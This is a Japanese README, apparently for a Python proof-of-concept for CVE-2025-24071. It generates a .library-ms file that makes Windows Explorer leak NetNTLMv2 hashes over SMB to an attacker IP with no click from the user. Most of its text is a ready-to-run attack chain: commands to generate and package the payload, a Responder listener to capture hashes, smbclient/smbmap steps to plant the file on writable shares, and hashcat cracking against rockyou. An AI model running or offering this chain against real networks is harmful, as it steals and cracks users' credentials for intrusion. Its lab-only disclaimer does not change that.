
CVE-2025-24071のPython PoC。.library-msファイルを作成してWindows Explorerを誘導し、SMB経由でNetNTLMv2ハッシュを漏洩させ、キャプチャとクラッキングを行う。
CVE-2025-24071 — .library-ms NTLM coercion (SMB / TAR method)
攻撃用 IP と ファイル名 を入力すると、\\<IP>\share を指す .library-ms を生成し、
それを exploit.tar にパッケージングします。Explorer がその .library-ms が置かれた
フォルダを閲覧すると、UNC パスが自動的に解決され、アカウントの NTLMv2 が
リスナーに漏洩します — クリックは不要です。
⚠️ 発火するのは展開された
.library-msであり、.tarではありません。 共有上に 置かれた.tarは無害です。Explorer は tarball を解析しません。.library-ms自体を 展開されたファイルとして共有上に置く必要があります。その方法は使用するツールに よって異なります(下記参照)。
uv run coerce_library.py # or: python3 coerce_library.py
Attack IP [10.10.14.197]:
File name [documents]:
[+] documents.library-ms -> \\10.10.14.197\share
[+] packed into exploit.tar
sudo responder -I tun0
.library-ms を書き込み可能な共有に配置smbclient — .tar をアップロードし、tar x で サーバーサイド で展開します
(展開された .library-ms がその隣に配置されます):
smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'put exploit.tar; tar x exploit.tar'
smbmap — 展開ステップがないため、展開された .library-ms を直接 アップロード
します(ここで .tar をアップロードしても何も起こりません — 展開できないためです):
smbmap -H <TARGET> -d <DOMAIN> -u <USER> -p <PASS> --upload exploit.library-ms 'IT/exploit.library-ms'
共有上に展開された状態で配置されたことを確認:
smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'ls' | grep library
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
☧ authorized penetration testing / CTF / lab use only ☧